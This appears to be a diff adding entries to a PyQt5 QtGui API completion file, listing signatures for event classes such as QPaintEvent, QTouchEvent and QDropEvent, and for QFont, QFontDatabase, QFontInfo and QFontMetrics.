+QtGui.QPaintEvent?1(QRect) +QtGui.QPaintEvent.__init__?1(self, QRect) +QtGui.QPaintEvent?1(QPaintEvent) +QtGui.QPaintEvent.__init__?1(self, QPaintEvent) +QtGui.QPaintEvent.rect?4() -> QRect +QtGui.QPaintEvent.region?4() -> QRegion +QtGui.QMoveEvent?1(QPoint, QPoint) +QtGui.QMoveEvent.__init__?1(self, QPoint, QPoint) +QtGui.QMoveEvent?1(QMoveEvent) +QtGui.QMoveEvent.__init__?1(self, QMoveEvent) +QtGui.QMoveEvent.pos?4() -> QPoint +QtGui.QMoveEvent.oldPos?4() -> QPoint +QtGui.QResizeEvent?1(QSize, QSize) +QtGui.QResizeEvent.__init__?1(self, QSize, QSize) +QtGui.QResizeEvent?1(QResizeEvent) +QtGui.QResizeEvent.__init__?1(self, QResizeEvent) +QtGui.QResizeEvent.size?4() -> QSize +QtGui.QResizeEvent.oldSize?4() -> QSize +QtGui.QCloseEvent?1() +QtGui.QCloseEvent.__init__?1(self) +QtGui.QCloseEvent?1(QCloseEvent) +QtGui.QCloseEvent.__init__?1(self, QCloseEvent) +QtGui.QIconDragEvent?1() +QtGui.QIconDragEvent.__init__?1(self) +QtGui.QIconDragEvent?1(QIconDragEvent) +QtGui.QIconDragEvent.__init__?1(self, QIconDragEvent) +QtGui.QShowEvent?1() +QtGui.QShowEvent.__init__?1(self) +QtGui.QShowEvent?1(QShowEvent) +QtGui.QShowEvent.__init__?1(self, QShowEvent) +QtGui.QHideEvent?1() +QtGui.QHideEvent.__init__?1(self) +QtGui.QHideEvent?1(QHideEvent) +QtGui.QHideEvent.__init__?1(self, QHideEvent) +QtGui.QContextMenuEvent.Reason?10 +QtGui.QContextMenuEvent.Reason.Mouse?10 +QtGui.QContextMenuEvent.Reason.Keyboard?10 +QtGui.QContextMenuEvent.Reason.Other?10 +QtGui.QContextMenuEvent?1(QContextMenuEvent.Reason, QPoint, QPoint, Qt.KeyboardModifiers) +QtGui.QContextMenuEvent.__init__?1(self, QContextMenuEvent.Reason, QPoint, QPoint, Qt.KeyboardModifiers) +QtGui.QContextMenuEvent?1(QContextMenuEvent.Reason, QPoint, QPoint) +QtGui.QContextMenuEvent.__init__?1(self, QContextMenuEvent.Reason, QPoint, QPoint) +QtGui.QContextMenuEvent?1(QContextMenuEvent.Reason, QPoint) +QtGui.QContextMenuEvent.__init__?1(self, QContextMenuEvent.Reason, QPoint) +QtGui.QContextMenuEvent?1(QContextMenuEvent) +QtGui.QContextMenuEvent.__init__?1(self, QContextMenuEvent) +QtGui.QContextMenuEvent.x?4() -> int +QtGui.QContextMenuEvent.y?4() -> int +QtGui.QContextMenuEvent.globalX?4() -> int +QtGui.QContextMenuEvent.globalY?4() -> int +QtGui.QContextMenuEvent.pos?4() -> QPoint +QtGui.QContextMenuEvent.globalPos?4() -> QPoint +QtGui.QContextMenuEvent.reason?4() -> QContextMenuEvent.Reason +QtGui.QInputMethodEvent.AttributeType?10 +QtGui.QInputMethodEvent.AttributeType.TextFormat?10 +QtGui.QInputMethodEvent.AttributeType.Cursor?10 +QtGui.QInputMethodEvent.AttributeType.Language?10 +QtGui.QInputMethodEvent.AttributeType.Ruby?10 +QtGui.QInputMethodEvent.AttributeType.Selection?10 +QtGui.QInputMethodEvent?1() +QtGui.QInputMethodEvent.__init__?1(self) +QtGui.QInputMethodEvent?1(QString, unknown-type) +QtGui.QInputMethodEvent.__init__?1(self, QString, unknown-type) +QtGui.QInputMethodEvent?1(QInputMethodEvent) +QtGui.QInputMethodEvent.__init__?1(self, QInputMethodEvent) +QtGui.QInputMethodEvent.setCommitString?4(QString, int from=0, int length=0) +QtGui.QInputMethodEvent.attributes?4() -> unknown-type +QtGui.QInputMethodEvent.preeditString?4() -> QString +QtGui.QInputMethodEvent.commitString?4() -> QString +QtGui.QInputMethodEvent.replacementStart?4() -> int +QtGui.QInputMethodEvent.replacementLength?4() -> int +QtGui.QInputMethodEvent.Attribute.length?7 +QtGui.QInputMethodEvent.Attribute.start?7 +QtGui.QInputMethodEvent.Attribute.type?7 +QtGui.QInputMethodEvent.Attribute.value?7 +QtGui.QInputMethodEvent.Attribute?1(QInputMethodEvent.AttributeType, int, int, QVariant) +QtGui.QInputMethodEvent.Attribute.__init__?1(self, QInputMethodEvent.AttributeType, int, int, QVariant) +QtGui.QInputMethodEvent.Attribute?1(QInputMethodEvent.AttributeType, int, int) +QtGui.QInputMethodEvent.Attribute.__init__?1(self, QInputMethodEvent.AttributeType, int, int) +QtGui.QInputMethodEvent.Attribute?1(QInputMethodEvent.Attribute) +QtGui.QInputMethodEvent.Attribute.__init__?1(self, QInputMethodEvent.Attribute) +QtGui.QInputMethodQueryEvent?1(Qt.InputMethodQueries) +QtGui.QInputMethodQueryEvent.__init__?1(self, Qt.InputMethodQueries) +QtGui.QInputMethodQueryEvent?1(QInputMethodQueryEvent) +QtGui.QInputMethodQueryEvent.__init__?1(self, QInputMethodQueryEvent) +QtGui.QInputMethodQueryEvent.queries?4() -> Qt.InputMethodQueries +QtGui.QInputMethodQueryEvent.setValue?4(Qt.InputMethodQuery, QVariant) +QtGui.QInputMethodQueryEvent.value?4(Qt.InputMethodQuery) -> QVariant +QtGui.QDropEvent?1(QPointF, Qt.DropActions, QMimeData, Qt.MouseButtons, Qt.KeyboardModifiers, QEvent.Type type=QEvent.Drop) +QtGui.QDropEvent.__init__?1(self, QPointF, Qt.DropActions, QMimeData, Qt.MouseButtons, Qt.KeyboardModifiers, QEvent.Type type=QEvent.Drop) +QtGui.QDropEvent?1(QDropEvent) +QtGui.QDropEvent.__init__?1(self, QDropEvent) +QtGui.QDropEvent.pos?4() -> QPoint +QtGui.QDropEvent.posF?4() -> QPointF +QtGui.QDropEvent.mouseButtons?4() -> Qt.MouseButtons +QtGui.QDropEvent.keyboardModifiers?4() -> Qt.KeyboardModifiers +QtGui.QDropEvent.possibleActions?4() -> Qt.DropActions +QtGui.QDropEvent.proposedAction?4() -> Qt.DropAction +QtGui.QDropEvent.acceptProposedAction?4() +QtGui.QDropEvent.dropAction?4() -> Qt.DropAction +QtGui.QDropEvent.setDropAction?4(Qt.DropAction) +QtGui.QDropEvent.source?4() -> QObject +QtGui.QDropEvent.mimeData?4() -> QMimeData +QtGui.QDragMoveEvent?1(QPoint, Qt.DropActions, QMimeData, Qt.MouseButtons, Qt.KeyboardModifiers, QEvent.Type type=QEvent.DragMove) +QtGui.QDragMoveEvent.__init__?1(self, QPoint, Qt.DropActions, QMimeData, Qt.MouseButtons, Qt.KeyboardModifiers, QEvent.Type type=QEvent.DragMove) +QtGui.QDragMoveEvent?1(QDragMoveEvent) +QtGui.QDragMoveEvent.__init__?1(self, QDragMoveEvent) +QtGui.QDragMoveEvent.answerRect?4() -> QRect +QtGui.QDragMoveEvent.accept?4() +QtGui.QDragMoveEvent.ignore?4() +QtGui.QDragMoveEvent.accept?4(QRect) +QtGui.QDragMoveEvent.ignore?4(QRect) +QtGui.QDragEnterEvent?1(QPoint, Qt.DropActions, QMimeData, Qt.MouseButtons, Qt.KeyboardModifiers) +QtGui.QDragEnterEvent.__init__?1(self, QPoint, Qt.DropActions, QMimeData, Qt.MouseButtons, Qt.KeyboardModifiers) +QtGui.QDragEnterEvent?1(QDragEnterEvent) +QtGui.QDragEnterEvent.__init__?1(self, QDragEnterEvent) +QtGui.QDragLeaveEvent?1() +QtGui.QDragLeaveEvent.__init__?1(self) +QtGui.QDragLeaveEvent?1(QDragLeaveEvent) +QtGui.QDragLeaveEvent.__init__?1(self, QDragLeaveEvent) +QtGui.QHelpEvent?1(QEvent.Type, QPoint, QPoint) +QtGui.QHelpEvent.__init__?1(self, QEvent.Type, QPoint, QPoint) +QtGui.QHelpEvent?1(QHelpEvent) +QtGui.QHelpEvent.__init__?1(self, QHelpEvent) +QtGui.QHelpEvent.x?4() -> int +QtGui.QHelpEvent.y?4() -> int +QtGui.QHelpEvent.globalX?4() -> int +QtGui.QHelpEvent.globalY?4() -> int +QtGui.QHelpEvent.pos?4() -> QPoint +QtGui.QHelpEvent.globalPos?4() -> QPoint +QtGui.QStatusTipEvent?1(QString) +QtGui.QStatusTipEvent.__init__?1(self, QString) +QtGui.QStatusTipEvent?1(QStatusTipEvent) +QtGui.QStatusTipEvent.__init__?1(self, QStatusTipEvent) +QtGui.QStatusTipEvent.tip?4() -> QString +QtGui.QWhatsThisClickedEvent?1(QString) +QtGui.QWhatsThisClickedEvent.__init__?1(self, QString) +QtGui.QWhatsThisClickedEvent?1(QWhatsThisClickedEvent) +QtGui.QWhatsThisClickedEvent.__init__?1(self, QWhatsThisClickedEvent) +QtGui.QWhatsThisClickedEvent.href?4() -> QString +QtGui.QActionEvent?1(int, QAction, QAction before=None) +QtGui.QActionEvent.__init__?1(self, int, QAction, QAction before=None) +QtGui.QActionEvent?1(QActionEvent) +QtGui.QActionEvent.__init__?1(self, QActionEvent) +QtGui.QActionEvent.action?4() -> QAction +QtGui.QActionEvent.before?4() -> QAction +QtGui.QFileOpenEvent.file?4() -> QString +QtGui.QFileOpenEvent.url?4() -> QUrl +QtGui.QFileOpenEvent.openFile?4(QFile, QIODevice.OpenMode) -> bool +QtGui.QShortcutEvent?1(QKeySequence, int, bool ambiguous=False) +QtGui.QShortcutEvent.__init__?1(self, QKeySequence, int, bool ambiguous=False) +QtGui.QShortcutEvent?1(QShortcutEvent) +QtGui.QShortcutEvent.__init__?1(self, QShortcutEvent) +QtGui.QShortcutEvent.isAmbiguous?4() -> bool +QtGui.QShortcutEvent.key?4() -> QKeySequence +QtGui.QShortcutEvent.shortcutId?4() -> int +QtGui.QWindowStateChangeEvent.oldState?4() -> Qt.WindowStates +QtGui.QTouchEvent?1(QEvent.Type, QTouchDevice device=None, Qt.KeyboardModifiers modifiers=Qt.NoModifier, Qt.TouchPointStates touchPointStates=Qt.TouchPointStates(), unknown-type touchPoints=[]) +QtGui.QTouchEvent.__init__?1(self, QEvent.Type, QTouchDevice device=None, Qt.KeyboardModifiers modifiers=Qt.NoModifier, Qt.TouchPointStates touchPointStates=Qt.TouchPointStates(), unknown-type touchPoints=[]) +QtGui.QTouchEvent?1(QTouchEvent) +QtGui.QTouchEvent.__init__?1(self, QTouchEvent) +QtGui.QTouchEvent.target?4() -> QObject +QtGui.QTouchEvent.touchPointStates?4() -> Qt.TouchPointStates +QtGui.QTouchEvent.touchPoints?4() -> unknown-type +QtGui.QTouchEvent.window?4() -> QWindow +QtGui.QTouchEvent.device?4() -> QTouchDevice +QtGui.QTouchEvent.setDevice?4(QTouchDevice) +QtGui.QTouchEvent.TouchPoint.InfoFlag?10 +QtGui.QTouchEvent.TouchPoint.InfoFlag.Pen?10 +QtGui.QTouchEvent.TouchPoint.InfoFlag.Token?10 +QtGui.QTouchEvent.TouchPoint.id?4() -> int +QtGui.QTouchEvent.TouchPoint.state?4() -> Qt.TouchPointState +QtGui.QTouchEvent.TouchPoint.pos?4() -> QPointF +QtGui.QTouchEvent.TouchPoint.startPos?4() -> QPointF +QtGui.QTouchEvent.TouchPoint.lastPos?4() -> QPointF +QtGui.QTouchEvent.TouchPoint.scenePos?4() -> QPointF +QtGui.QTouchEvent.TouchPoint.startScenePos?4() -> QPointF +QtGui.QTouchEvent.TouchPoint.lastScenePos?4() -> QPointF +QtGui.QTouchEvent.TouchPoint.screenPos?4() -> QPointF +QtGui.QTouchEvent.TouchPoint.startScreenPos?4() -> QPointF +QtGui.QTouchEvent.TouchPoint.lastScreenPos?4() -> QPointF +QtGui.QTouchEvent.TouchPoint.normalizedPos?4() -> QPointF +QtGui.QTouchEvent.TouchPoint.startNormalizedPos?4() -> QPointF +QtGui.QTouchEvent.TouchPoint.lastNormalizedPos?4() -> QPointF +QtGui.QTouchEvent.TouchPoint.rect?4() -> QRectF +QtGui.QTouchEvent.TouchPoint.sceneRect?4() -> QRectF +QtGui.QTouchEvent.TouchPoint.screenRect?4() -> QRectF +QtGui.QTouchEvent.TouchPoint.pressure?4() -> float +QtGui.QTouchEvent.TouchPoint.velocity?4() -> QVector2D +QtGui.QTouchEvent.TouchPoint.flags?4() -> QTouchEvent.TouchPoint.InfoFlags +QtGui.QTouchEvent.TouchPoint.rawScreenPositions?4() -> unknown-type +QtGui.QTouchEvent.TouchPoint.uniqueId?4() -> QPointingDeviceUniqueId +QtGui.QTouchEvent.TouchPoint.rotation?4() -> float +QtGui.QTouchEvent.TouchPoint.ellipseDiameters?4() -> QSizeF +QtGui.QTouchEvent.TouchPoint.InfoFlags?1() +QtGui.QTouchEvent.TouchPoint.InfoFlags.__init__?1(self) +QtGui.QTouchEvent.TouchPoint.InfoFlags?1(int) +QtGui.QTouchEvent.TouchPoint.InfoFlags.__init__?1(self, int) +QtGui.QTouchEvent.TouchPoint.InfoFlags?1(QTouchEvent.TouchPoint.InfoFlags) +QtGui.QTouchEvent.TouchPoint.InfoFlags.__init__?1(self, QTouchEvent.TouchPoint.InfoFlags) +QtGui.QExposeEvent?1(QRegion) +QtGui.QExposeEvent.__init__?1(self, QRegion) +QtGui.QExposeEvent?1(QExposeEvent) +QtGui.QExposeEvent.__init__?1(self, QExposeEvent) +QtGui.QExposeEvent.region?4() -> QRegion +QtGui.QScrollPrepareEvent?1(QPointF) +QtGui.QScrollPrepareEvent.__init__?1(self, QPointF) +QtGui.QScrollPrepareEvent?1(QScrollPrepareEvent) +QtGui.QScrollPrepareEvent.__init__?1(self, QScrollPrepareEvent) +QtGui.QScrollPrepareEvent.startPos?4() -> QPointF +QtGui.QScrollPrepareEvent.viewportSize?4() -> QSizeF +QtGui.QScrollPrepareEvent.contentPosRange?4() -> QRectF +QtGui.QScrollPrepareEvent.contentPos?4() -> QPointF +QtGui.QScrollPrepareEvent.setViewportSize?4(QSizeF) +QtGui.QScrollPrepareEvent.setContentPosRange?4(QRectF) +QtGui.QScrollPrepareEvent.setContentPos?4(QPointF) +QtGui.QScrollEvent.ScrollState?10 +QtGui.QScrollEvent.ScrollState.ScrollStarted?10 +QtGui.QScrollEvent.ScrollState.ScrollUpdated?10 +QtGui.QScrollEvent.ScrollState.ScrollFinished?10 +QtGui.QScrollEvent?1(QPointF, QPointF, QScrollEvent.ScrollState) +QtGui.QScrollEvent.__init__?1(self, QPointF, QPointF, QScrollEvent.ScrollState) +QtGui.QScrollEvent?1(QScrollEvent) +QtGui.QScrollEvent.__init__?1(self, QScrollEvent) +QtGui.QScrollEvent.contentPos?4() -> QPointF +QtGui.QScrollEvent.overshootDistance?4() -> QPointF +QtGui.QScrollEvent.scrollState?4() -> QScrollEvent.ScrollState +QtGui.QEnterEvent?1(QPointF, QPointF, QPointF) +QtGui.QEnterEvent.__init__?1(self, QPointF, QPointF, QPointF) +QtGui.QEnterEvent?1(QEnterEvent) +QtGui.QEnterEvent.__init__?1(self, QEnterEvent) +QtGui.QEnterEvent.pos?4() -> QPoint +QtGui.QEnterEvent.globalPos?4() -> QPoint +QtGui.QEnterEvent.x?4() -> int +QtGui.QEnterEvent.y?4() -> int +QtGui.QEnterEvent.globalX?4() -> int +QtGui.QEnterEvent.globalY?4() -> int +QtGui.QEnterEvent.localPos?4() -> QPointF +QtGui.QEnterEvent.windowPos?4() -> QPointF +QtGui.QEnterEvent.screenPos?4() -> QPointF +QtGui.QNativeGestureEvent?1(Qt.NativeGestureType, QPointF, QPointF, QPointF, float, int, int) +QtGui.QNativeGestureEvent.__init__?1(self, Qt.NativeGestureType, QPointF, QPointF, QPointF, float, int, int) +QtGui.QNativeGestureEvent?1(Qt.NativeGestureType, QTouchDevice, QPointF, QPointF, QPointF, float, int, int) +QtGui.QNativeGestureEvent.__init__?1(self, Qt.NativeGestureType, QTouchDevice, QPointF, QPointF, QPointF, float, int, int) +QtGui.QNativeGestureEvent?1(QNativeGestureEvent) +QtGui.QNativeGestureEvent.__init__?1(self, QNativeGestureEvent) +QtGui.QNativeGestureEvent.gestureType?4() -> Qt.NativeGestureType +QtGui.QNativeGestureEvent.value?4() -> float +QtGui.QNativeGestureEvent.pos?4() -> QPoint +QtGui.QNativeGestureEvent.globalPos?4() -> QPoint +QtGui.QNativeGestureEvent.localPos?4() -> QPointF +QtGui.QNativeGestureEvent.windowPos?4() -> QPointF +QtGui.QNativeGestureEvent.screenPos?4() -> QPointF +QtGui.QNativeGestureEvent.device?4() -> QTouchDevice +QtGui.QPlatformSurfaceEvent.SurfaceEventType?10 +QtGui.QPlatformSurfaceEvent.SurfaceEventType.SurfaceCreated?10 +QtGui.QPlatformSurfaceEvent.SurfaceEventType.SurfaceAboutToBeDestroyed?10 +QtGui.QPlatformSurfaceEvent?1(QPlatformSurfaceEvent.SurfaceEventType) +QtGui.QPlatformSurfaceEvent.__init__?1(self, QPlatformSurfaceEvent.SurfaceEventType) +QtGui.QPlatformSurfaceEvent?1(QPlatformSurfaceEvent) +QtGui.QPlatformSurfaceEvent.__init__?1(self, QPlatformSurfaceEvent) +QtGui.QPlatformSurfaceEvent.surfaceEventType?4() -> QPlatformSurfaceEvent.SurfaceEventType +QtGui.QPointingDeviceUniqueId?1() +QtGui.QPointingDeviceUniqueId.__init__?1(self) +QtGui.QPointingDeviceUniqueId?1(QPointingDeviceUniqueId) +QtGui.QPointingDeviceUniqueId.__init__?1(self, QPointingDeviceUniqueId) +QtGui.QPointingDeviceUniqueId.fromNumericId?4(int) -> QPointingDeviceUniqueId +QtGui.QPointingDeviceUniqueId.isValid?4() -> bool +QtGui.QPointingDeviceUniqueId.numericId?4() -> int +QtGui.QFont.HintingPreference?10 +QtGui.QFont.HintingPreference.PreferDefaultHinting?10 +QtGui.QFont.HintingPreference.PreferNoHinting?10 +QtGui.QFont.HintingPreference.PreferVerticalHinting?10 +QtGui.QFont.HintingPreference.PreferFullHinting?10 +QtGui.QFont.SpacingType?10 +QtGui.QFont.SpacingType.PercentageSpacing?10 +QtGui.QFont.SpacingType.AbsoluteSpacing?10 +QtGui.QFont.Capitalization?10 +QtGui.QFont.Capitalization.MixedCase?10 +QtGui.QFont.Capitalization.AllUppercase?10 +QtGui.QFont.Capitalization.AllLowercase?10 +QtGui.QFont.Capitalization.SmallCaps?10 +QtGui.QFont.Capitalization.Capitalize?10 +QtGui.QFont.Stretch?10 +QtGui.QFont.Stretch.AnyStretch?10 +QtGui.QFont.Stretch.UltraCondensed?10 +QtGui.QFont.Stretch.ExtraCondensed?10 +QtGui.QFont.Stretch.Condensed?10 +QtGui.QFont.Stretch.SemiCondensed?10 +QtGui.QFont.Stretch.Unstretched?10 +QtGui.QFont.Stretch.SemiExpanded?10 +QtGui.QFont.Stretch.Expanded?10 +QtGui.QFont.Stretch.ExtraExpanded?10 +QtGui.QFont.Stretch.UltraExpanded?10 +QtGui.QFont.Style?10 +QtGui.QFont.Style.StyleNormal?10 +QtGui.QFont.Style.StyleItalic?10 +QtGui.QFont.Style.StyleOblique?10 +QtGui.QFont.Weight?10 +QtGui.QFont.Weight.Thin?10 +QtGui.QFont.Weight.ExtraLight?10 +QtGui.QFont.Weight.Light?10 +QtGui.QFont.Weight.Normal?10 +QtGui.QFont.Weight.Medium?10 +QtGui.QFont.Weight.DemiBold?10 +QtGui.QFont.Weight.Bold?10 +QtGui.QFont.Weight.ExtraBold?10 +QtGui.QFont.Weight.Black?10 +QtGui.QFont.StyleStrategy?10 +QtGui.QFont.StyleStrategy.PreferDefault?10 +QtGui.QFont.StyleStrategy.PreferBitmap?10 +QtGui.QFont.StyleStrategy.PreferDevice?10 +QtGui.QFont.StyleStrategy.PreferOutline?10 +QtGui.QFont.StyleStrategy.ForceOutline?10 +QtGui.QFont.StyleStrategy.PreferMatch?10 +QtGui.QFont.StyleStrategy.PreferQuality?10 +QtGui.QFont.StyleStrategy.PreferAntialias?10 +QtGui.QFont.StyleStrategy.NoAntialias?10 +QtGui.QFont.StyleStrategy.NoSubpixelAntialias?10 +QtGui.QFont.StyleStrategy.OpenGLCompatible?10 +QtGui.QFont.StyleStrategy.NoFontMerging?10 +QtGui.QFont.StyleStrategy.ForceIntegerMetrics?10 +QtGui.QFont.StyleStrategy.PreferNoShaping?10 +QtGui.QFont.StyleHint?10 +QtGui.QFont.StyleHint.Helvetica?10 +QtGui.QFont.StyleHint.SansSerif?10 +QtGui.QFont.StyleHint.Times?10 +QtGui.QFont.StyleHint.Serif?10 +QtGui.QFont.StyleHint.Courier?10 +QtGui.QFont.StyleHint.TypeWriter?10 +QtGui.QFont.StyleHint.OldEnglish?10 +QtGui.QFont.StyleHint.Decorative?10 +QtGui.QFont.StyleHint.System?10 +QtGui.QFont.StyleHint.AnyStyle?10 +QtGui.QFont.StyleHint.Cursive?10 +QtGui.QFont.StyleHint.Monospace?10 +QtGui.QFont.StyleHint.Fantasy?10 +QtGui.QFont?1() +QtGui.QFont.__init__?1(self) +QtGui.QFont?1(QString, int pointSize=-1, int weight=-1, bool italic=False) +QtGui.QFont.__init__?1(self, QString, int pointSize=-1, int weight=-1, bool italic=False) +QtGui.QFont?1(QFont, QPaintDevice) +QtGui.QFont.__init__?1(self, QFont, QPaintDevice) +QtGui.QFont?1(QFont) +QtGui.QFont.__init__?1(self, QFont) +QtGui.QFont?1(QVariant) +QtGui.QFont.__init__?1(self, QVariant) +QtGui.QFont.family?4() -> QString +QtGui.QFont.setFamily?4(QString) +QtGui.QFont.pointSize?4() -> int +QtGui.QFont.setPointSize?4(int) +QtGui.QFont.pointSizeF?4() -> float +QtGui.QFont.setPointSizeF?4(float) +QtGui.QFont.pixelSize?4() -> int +QtGui.QFont.setPixelSize?4(int) +QtGui.QFont.weight?4() -> int +QtGui.QFont.setWeight?4(int) +QtGui.QFont.setStyle?4(QFont.Style) +QtGui.QFont.style?4() -> QFont.Style +QtGui.QFont.underline?4() -> bool +QtGui.QFont.setUnderline?4(bool) +QtGui.QFont.overline?4() -> bool +QtGui.QFont.setOverline?4(bool) +QtGui.QFont.strikeOut?4() -> bool +QtGui.QFont.setStrikeOut?4(bool) +QtGui.QFont.fixedPitch?4() -> bool +QtGui.QFont.setFixedPitch?4(bool) +QtGui.QFont.kerning?4() -> bool +QtGui.QFont.setKerning?4(bool) +QtGui.QFont.styleHint?4() -> QFont.StyleHint +QtGui.QFont.styleStrategy?4() -> QFont.StyleStrategy +QtGui.QFont.setStyleHint?4(QFont.StyleHint, QFont.StyleStrategy strategy=QFont.PreferDefault) +QtGui.QFont.setStyleStrategy?4(QFont.StyleStrategy) +QtGui.QFont.stretch?4() -> int +QtGui.QFont.setStretch?4(int) +QtGui.QFont.rawMode?4() -> bool +QtGui.QFont.setRawMode?4(bool) +QtGui.QFont.exactMatch?4() -> bool +QtGui.QFont.isCopyOf?4(QFont) -> bool +QtGui.QFont.setRawName?4(QString) +QtGui.QFont.rawName?4() -> QString +QtGui.QFont.key?4() -> QString +QtGui.QFont.toString?4() -> QString +QtGui.QFont.fromString?4(QString) -> bool +QtGui.QFont.substitute?4(QString) -> QString +QtGui.QFont.substitutes?4(QString) -> QStringList +QtGui.QFont.substitutions?4() -> QStringList +QtGui.QFont.insertSubstitution?4(QString, QString) +QtGui.QFont.insertSubstitutions?4(QString, QStringList) +QtGui.QFont.removeSubstitutions?4(QString) +QtGui.QFont.initialize?4() +QtGui.QFont.cleanup?4() +QtGui.QFont.cacheStatistics?4() +QtGui.QFont.defaultFamily?4() -> QString +QtGui.QFont.lastResortFamily?4() -> QString +QtGui.QFont.lastResortFont?4() -> QString +QtGui.QFont.resolve?4(QFont) -> QFont +QtGui.QFont.bold?4() -> bool +QtGui.QFont.setBold?4(bool) +QtGui.QFont.italic?4() -> bool +QtGui.QFont.setItalic?4(bool) +QtGui.QFont.letterSpacing?4() -> float +QtGui.QFont.letterSpacingType?4() -> QFont.SpacingType +QtGui.QFont.setLetterSpacing?4(QFont.SpacingType, float) +QtGui.QFont.wordSpacing?4() -> float +QtGui.QFont.setWordSpacing?4(float) +QtGui.QFont.setCapitalization?4(QFont.Capitalization) +QtGui.QFont.capitalization?4() -> QFont.Capitalization +QtGui.QFont.styleName?4() -> QString +QtGui.QFont.setStyleName?4(QString) +QtGui.QFont.setHintingPreference?4(QFont.HintingPreference) +QtGui.QFont.hintingPreference?4() -> QFont.HintingPreference +QtGui.QFont.swap?4(QFont) +QtGui.QFont.families?4() -> QStringList +QtGui.QFont.setFamilies?4(QStringList) +QtGui.QFontDatabase.SystemFont?10 +QtGui.QFontDatabase.SystemFont.GeneralFont?10 +QtGui.QFontDatabase.SystemFont.FixedFont?10 +QtGui.QFontDatabase.SystemFont.TitleFont?10 +QtGui.QFontDatabase.SystemFont.SmallestReadableFont?10 +QtGui.QFontDatabase.WritingSystem?10 +QtGui.QFontDatabase.WritingSystem.Any?10 +QtGui.QFontDatabase.WritingSystem.Latin?10 +QtGui.QFontDatabase.WritingSystem.Greek?10 +QtGui.QFontDatabase.WritingSystem.Cyrillic?10 +QtGui.QFontDatabase.WritingSystem.Armenian?10 +QtGui.QFontDatabase.WritingSystem.Hebrew?10 +QtGui.QFontDatabase.WritingSystem.Arabic?10 +QtGui.QFontDatabase.WritingSystem.Syriac?10 +QtGui.QFontDatabase.WritingSystem.Thaana?10 +QtGui.QFontDatabase.WritingSystem.Devanagari?10 +QtGui.QFontDatabase.WritingSystem.Bengali?10 +QtGui.QFontDatabase.WritingSystem.Gurmukhi?10 +QtGui.QFontDatabase.WritingSystem.Gujarati?10 +QtGui.QFontDatabase.WritingSystem.Oriya?10 +QtGui.QFontDatabase.WritingSystem.Tamil?10 +QtGui.QFontDatabase.WritingSystem.Telugu?10 +QtGui.QFontDatabase.WritingSystem.Kannada?10 +QtGui.QFontDatabase.WritingSystem.Malayalam?10 +QtGui.QFontDatabase.WritingSystem.Sinhala?10 +QtGui.QFontDatabase.WritingSystem.Thai?10 +QtGui.QFontDatabase.WritingSystem.Lao?10 +QtGui.QFontDatabase.WritingSystem.Tibetan?10 +QtGui.QFontDatabase.WritingSystem.Myanmar?10 +QtGui.QFontDatabase.WritingSystem.Georgian?10 +QtGui.QFontDatabase.WritingSystem.Khmer?10 +QtGui.QFontDatabase.WritingSystem.SimplifiedChinese?10 +QtGui.QFontDatabase.WritingSystem.TraditionalChinese?10 +QtGui.QFontDatabase.WritingSystem.Japanese?10 +QtGui.QFontDatabase.WritingSystem.Korean?10 +QtGui.QFontDatabase.WritingSystem.Vietnamese?10 +QtGui.QFontDatabase.WritingSystem.Other?10 +QtGui.QFontDatabase.WritingSystem.Symbol?10 +QtGui.QFontDatabase.WritingSystem.Ogham?10 +QtGui.QFontDatabase.WritingSystem.Runic?10 +QtGui.QFontDatabase.WritingSystem.Nko?10 +QtGui.QFontDatabase?1() +QtGui.QFontDatabase.__init__?1(self) +QtGui.QFontDatabase?1(QFontDatabase) +QtGui.QFontDatabase.__init__?1(self, QFontDatabase) +QtGui.QFontDatabase.standardSizes?4() -> unknown-type +QtGui.QFontDatabase.writingSystems?4() -> unknown-type +QtGui.QFontDatabase.writingSystems?4(QString) -> unknown-type +QtGui.QFontDatabase.families?4(QFontDatabase.WritingSystem writingSystem=QFontDatabase.Any) -> QStringList +QtGui.QFontDatabase.styles?4(QString) -> QStringList +QtGui.QFontDatabase.pointSizes?4(QString, QString style='') -> unknown-type +QtGui.QFontDatabase.smoothSizes?4(QString, QString) -> unknown-type +QtGui.QFontDatabase.styleString?4(QFont) -> QString +QtGui.QFontDatabase.styleString?4(QFontInfo) -> QString +QtGui.QFontDatabase.font?4(QString, QString, int) -> QFont +QtGui.QFontDatabase.isBitmapScalable?4(QString, QString style='') -> bool +QtGui.QFontDatabase.isSmoothlyScalable?4(QString, QString style='') -> bool +QtGui.QFontDatabase.isScalable?4(QString, QString style='') -> bool +QtGui.QFontDatabase.isFixedPitch?4(QString, QString style='') -> bool +QtGui.QFontDatabase.italic?4(QString, QString) -> bool +QtGui.QFontDatabase.bold?4(QString, QString) -> bool +QtGui.QFontDatabase.weight?4(QString, QString) -> int +QtGui.QFontDatabase.writingSystemName?4(QFontDatabase.WritingSystem) -> QString +QtGui.QFontDatabase.writingSystemSample?4(QFontDatabase.WritingSystem) -> QString +QtGui.QFontDatabase.addApplicationFont?4(QString) -> int +QtGui.QFontDatabase.addApplicationFontFromData?4(QByteArray) -> int +QtGui.QFontDatabase.applicationFontFamilies?4(int) -> QStringList +QtGui.QFontDatabase.removeApplicationFont?4(int) -> bool +QtGui.QFontDatabase.removeAllApplicationFonts?4() -> bool +QtGui.QFontDatabase.supportsThreadedFontRendering?4() -> bool +QtGui.QFontDatabase.systemFont?4(QFontDatabase.SystemFont) -> QFont +QtGui.QFontDatabase.isPrivateFamily?4(QString) -> bool +QtGui.QFontInfo?1(QFont) +QtGui.QFontInfo.__init__?1(self, QFont) +QtGui.QFontInfo?1(QFontInfo) +QtGui.QFontInfo.__init__?1(self, QFontInfo) +QtGui.QFontInfo.family?4() -> QString +QtGui.QFontInfo.pixelSize?4() -> int +QtGui.QFontInfo.pointSize?4() -> int +QtGui.QFontInfo.pointSizeF?4() -> float +QtGui.QFontInfo.italic?4() -> bool +QtGui.QFontInfo.style?4() -> QFont.Style +QtGui.QFontInfo.weight?4() -> int +QtGui.QFontInfo.bold?4() -> bool +QtGui.QFontInfo.fixedPitch?4() -> bool +QtGui.QFontInfo.styleHint?4() -> QFont.StyleHint +QtGui.QFontInfo.rawMode?4() -> bool +QtGui.QFontInfo.exactMatch?4() -> bool +QtGui.QFontInfo.styleName?4() -> QString +QtGui.QFontInfo.swap?4(QFontInfo) +QtGui.QFontMetrics?1(QFont) +QtGui.QFontMetrics.__init__?1(self, QFont) +QtGui.QFontMetrics?1(QFont, QPaintDevice) +QtGui.QFontMetrics.__init__?1(self, QFont, QPaintDevice) +QtGui.QFontMetrics?1(QFontMetrics) +QtGui.QFontMetrics.__init__?1(self, QFontMetrics) 